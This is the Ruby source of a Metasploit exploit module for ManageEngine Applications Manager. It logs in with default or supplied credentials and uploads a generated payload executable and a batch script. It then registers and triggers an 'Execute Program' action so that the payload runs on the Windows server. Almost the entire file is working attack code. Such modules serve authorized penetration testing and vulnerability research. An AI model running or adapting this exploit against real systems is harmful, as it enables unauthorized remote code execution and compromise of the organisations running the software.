metasploit-framework/modules/exploits/windows/http/manageengine_apps_mngr.rb

314 lines
11 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize
super(
'Name' => 'ManageEngine Applications Manager Authenticated Code Execution',
'Description' => %q{
This module logs into the Manage Engine Applications Manager to upload a
payload to the file system and a batch script that executes the payload. },
'Author' => 'Jacob Giannantonio <JGiannan[at]gmail.com>',
'Platform' => 'win',
'DisclosureDate' => 'Apr 08 2011',
'References' =>
[
[ 'EDB', '17152' ],
],
'Targets' =>
[
['Automatic',{}],
],
'DefaultTarget' => 0
)
register_options(
[ Opt::RPORT(9090),
OptString.new('URI', [false, "URI for Applications Manager", '/']),
OptString.new('USER', [true, "username", 'admin']),
OptString.new('PASS', [true, "password", 'admin']),
])
end
def target_url
uri = normalize_uri(datastore['URI'])
"http://#{rhost}:#{rport}#{uri}"
end
def exploit
# Make initial request to get assigned a session token
cookie = "pagerefresh=1; NfaupdateMsg=true; sortBy=sByName; testcookie=; "
cookie << "am_username=;am_check="
begin
print_status "#{target_url} Applications Manager - Requesting Session Token"
res = send_request_cgi({
'method'=> 'GET',
'uri' => "#{target_url}/webclient/common/jsp/home.jsp",
'cookie' => cookie.to_s
}, 20)
if !res
print_error("Request to #{target_host} failed")
return
end
if (res and res.code == 200 and res.to_s =~ /(JSESSIONID=[A-Z0-9]{32});/)
cookie << "; #{$1}"
print_good("Assigned #{$1}")
else
print_error("Initial request failed: http error #{res.code}")
return
end
rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end
# send cookie to index.do
begin
print_status "Sending session token to #{target_url}/index.do"
res = send_request_raw({
'method' => 'GET',
'uri' => "#{target_url}/index.do",
'cookie' => cookie
}, 20)
if !res || res.code != 200
print_error("Request to #{target_url} failed")
end
rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
print_error("Request to #{target_url}/index.do failed")
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end
# Log in with the assigned session token
post_data = "clienttype2=html&j_username="
post_data << "#{Rex::Text.uri_encode(datastore['USER'].to_s)}&"
post_data << "j_password="
post_data << "#{Rex::Text.uri_encode(datastore['PASS'].to_s)}&button=Login"
print_status("Trying to log in with '#{datastore['USER']}':'#{datastore['PASS']}'")
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{target_url}/j_security_check",
'cookie' => cookie,
'data' => post_data.to_s
}, 20)
if !res
print_error("Request to #{target_url} Failed")
end
# Server responds with a 302 redirect when the login is successful and
# HTTP 200 for a failed login
if res and res.code == 302
print_good("Success:'#{datastore['USER']}':'#{datastore['PASS']}'")
else
print_error("Failed to log into #{target_url}")
return
end
rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
print_error("Request to #{target_url}/j_security_check failed")
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end
# initial request to upload.do
# I think this is required to upload content later on.
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{target_url}/Upload.do",
'cookie'=> cookie,
'data' => post_data
}, 20)
if !res
print_error("HTTP request to #{target_url} Failed")
end
rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
print_error("Request to #{target_url}/Upload.do Failed")
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end
# Transfer the payload executable via POST request to Upload.do
boundary = rand_text_numeric(11)
payload_file = "#{rand_text_alphanumeric(20)}.exe"
lines = "-----------------------------#{boundary}"
content_disposition = "Content-Disposition: form-data; name=\"theFile\";"
content_disposition << "filename=\"#{payload_file}\"\r\n"
post_data = lines + "\r\n" + content_disposition.to_s
post_data << "Content-Type: application/x-msdos-program\r\n\r\n"
post_data << "#{generate_payload_exe}\r\n\r\n"
post_data << lines + "\r\nContent-Disposition: form-data; "
post_data << "name=\"uploadDir\"\r\n\r\n"
post_data << ".\/\r\n#{lines}--\r\n"
begin
referer = "http://#{target_url}/Upload.do"
res = send_request_raw({
'method' => 'POST',
'uri' => "#{target_url}/Upload.do",
'headers' => { 'Referer' => referer,
'cookie' => "#{cookie}\r\nContent-Type: " +
"multipart/form-data; " +
"boundary=---------------------------#{boundary}",
'Content-Length' => post_data.length},
'data' => post_data
}, 20)
if !res
print_error("Request to #{target_url} failed")
end
if res and res.code == 200
print_good("Uploaded payload #{payload_file}")
else
print_error("Response HTTP #{res.code} and HTTP 302 expected")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Request to #{target_url}/Upload.do failed")
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end
# Transfer the batch sript via POST request to Upload.do
# The server will eventually call the batch script, which will call the payload.exe
boundary = rand_text_numeric(11)
bat_file = "#{rand_text_alphanumeric(20)}.bat"
lines = "-----------------------------#{boundary}"
content_disposition = "Content-Disposition: form-data; name=\"theFile\"; "
content_disposition << "filename=\"#{bat_file}\"\r\n"
post_data = lines + "\r\n" + content_disposition.to_s
post_data << "Content-Type: application/x-msdos-program\r\n\r\n"
post_data << "@ECHO off && \"C:\\\\program files\\ManageEngine\\AppManager9\\workin"
post_data << "g\\#{payload_file}\"\r\n\r\n"
post_data << lines + "\r\nContent-Disposition: form-data; name=\"uploadDir\""
post_data << "\r\n\r\n"
post_data << ".\/\r\n#{lines}--\r\n"
begin
referer = "#{target_url}/Upload.do"
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{target_url}/Upload.do",
'headers' => { 'Referer' => referer,
'cookie' => "#{cookie}\r\nContent-Type: multipart/form-data; " +
"boundary=---------------------------#{boundary}",
'Content-Length' => post_data.length},
'data' => post_data
}, 20)
if !res
print_error("HTTP request to #{target_url} failed")
return
end
if res and res.code == 200
print_good("Uploaded #{bat_file} to execute #{payload_file}")
end
rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
print_error("Request to #{target_url}/Upload.do failed")
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end
action_name = "#{rand_text_alphanumeric(20)}"
post_data = "actions=%2FshowTile.do%3FTileName%3D.ExecProg%26haid%3Dnull&ha"
post_data << "id=null&method=createExecProgAction&redirectTo=null&id=0&disp"
post_data << "layname=#{action_name}&serversite=local&choosehost=-2&host=&m"
post_data << "onitoringmode=TELNET&username=&password=&description=&port=23"
post_data << "&prompt=%24&command=#{bat_file}&execProgExecDir="
post_data << "C%3A%5CProgram+Files%5CManageEngine%5CAppManager9%5Cworking&a"
post_data << "bortafter=10&cancel=false"
# This client request is necessary because it sends a request to the server
# specifying that we are interested in executing the batch script. If
# successful, the server response body will contain an actionID that is
# used to tell the server to execute the script.
begin
referer = "#{target_url}/showTile.do?TileName=.ExecProg&haid=null"
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{target_url}/adminAction.do",
'headers' => { 'Referer' => referer,
'cookie' => cookie,
'Content-Type' => "application/x-www-form-urlencoded",
'Content-Length' => post_data.to_s.length},
'data' => post_data.to_s
}, 20)
if !res
print_error("Request to #{target_host} failed")
end
# We are parsing the response in order to determine the correct actionID.
# My solution for doing this is to iterate through the HTTP response one
# line at a time. The correct actionID always comes up several lines
# after reading the name of the batch file 3 times. Even if other batch
# files are mixed up in the list of actions to execute, ours is always
# the next one after reading the batch file name 3 times
if res and (res.code == 302 || res.code == 200)
action_id = 0
x = 0
res.body.each_line do |k|
k.strip!
if((k =~ /&actionID=(\d{8})/) && (x == 3))
action_id = $1
break;
elsif((k =~ /#{bat_file}/) && (x < 3))
x+=1
end
end
else
print_error("HTTP error #{res.code} and HTTP 302 expected")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("HTTP request to #{target_url}/adminAction.do ")
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end
begin
referer = "#{target_url}/common/executeScript.do?"
referer << "method=testAction&actionID=#{action_id}&haid=null"
print_good("Requesting to execute batch file with actionID #{action_id}")
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{target_url}/common/executeScript.do?method=testAction&" +
"actionID=#{action_id}&haid=null",
'headers' => { 'Referer' => referer,
'cookie' => "executeProgramActionTable_sortcol=1; " +
"executeProgramActionTable_sortdir=down; " +
"#{cookie}; executeProgramActionTable_" +
"sortdir=down; executeProgramActionTable_sortcol=1",
'Content-Type' => "application/x-www-form-urlencoded"}
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Request to execute the actionID failed")
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end